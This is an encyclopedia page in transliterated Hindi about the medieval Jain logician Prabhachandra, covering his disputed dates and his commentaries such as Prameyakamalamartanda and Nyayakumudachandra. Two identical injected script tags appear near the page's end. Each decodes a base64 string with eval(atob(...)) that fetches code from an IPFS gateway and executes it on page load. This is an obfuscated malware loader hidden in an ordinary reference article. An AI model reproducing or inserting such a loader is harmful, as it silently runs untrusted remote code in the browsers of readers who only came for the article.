प्रभाचन्द्र

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

prabhachandr jain sahity mean tarkagranthakar ke roop mean sarvadhik prasiddh haian. inake nishchit samay kal ke bare kuchh vidvanoan mean matabhed haian. achary manikyanandi ke shishy aur unhian ke parikshamukh par vishalakay evan vistrit vyakhya 'prameyakamalamarttand' likhane vale ye advitiy manishi haian. inhoanne akalankadev ke durooh 'laghiyastray' nam ke nyay granth par bhi bahut hi vishad aur vistrit tika likhi hai, jisaka nam 'nyayakumudachandr' hai.

kary samay

prabhachandr ka ullekh dakshin bharat ke shravan belagola shilalekhoan mean hua hai. inaka karyakshetr uttar bharat mean dhara nagari thi. chaturbhuj ka nam bhi inake guru ke roop mean ata hai. inake samay kal ke bare mean tin manyataean haian- 'ee. athavian shatabdi', 'ee. gyarahavian shatabdi' aur 'ee. 1065'.

rachanaean

inaki pramukh rachanaean is prakar se haian-

prameyakamalamartand, (parikshamukh vyakhya), nyayakumudachandr (laghiyastray vyakhya), tattvarthavritti pad vivaran (sarvarthasiddhi vyakhya), shakatayananyas (shakatayan vyakaran vyakhya), shabdambhojabhaskar (jainendr vyakaran vyakhya), pravachanasar, saroj bhaskar (pravachanasar vyakhya), gadhakathakosh (svatantr rachana), ratnakarandashravakachar tika, samadhitantr tika, kriyakalap tika, atmanushasan tika aur mahapuran tippan.

nyayakumudachandr vastut: nyay roopi kumudoan ko vikasit karane vala chandr hai. isamean prabhachandr ne laghiyastray ki karikaoan, unaki svopajn vritti aur usake durooh pad-vakyadi ki vishad vyakhya to ki hi hai, kintu prasangopatt vividh tarkik charchaoan dvara anek anudghatit tathyoan evan vishayoan par bhi naya prakash dala hai. isi prakar unhoanne prameyakamalamartand mean bhi apani tarkapoorn pratibha ka poora upayog kiya hai aur parikshamukh ke pratyek sootr v usake padoan ka vistrit evan vishad vyakhyan kiya hai. prabhachandr ke ye donoan vyakhyan granth mool jaise hi haian. inake bad in jaisa koee maulik ya vyakhyagranth nahian likha gaya. samantabhadr, akalank aur vidyanand ke bad prabhachandr jaisa koee jain tarkik hua dikhaee nahian deta.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>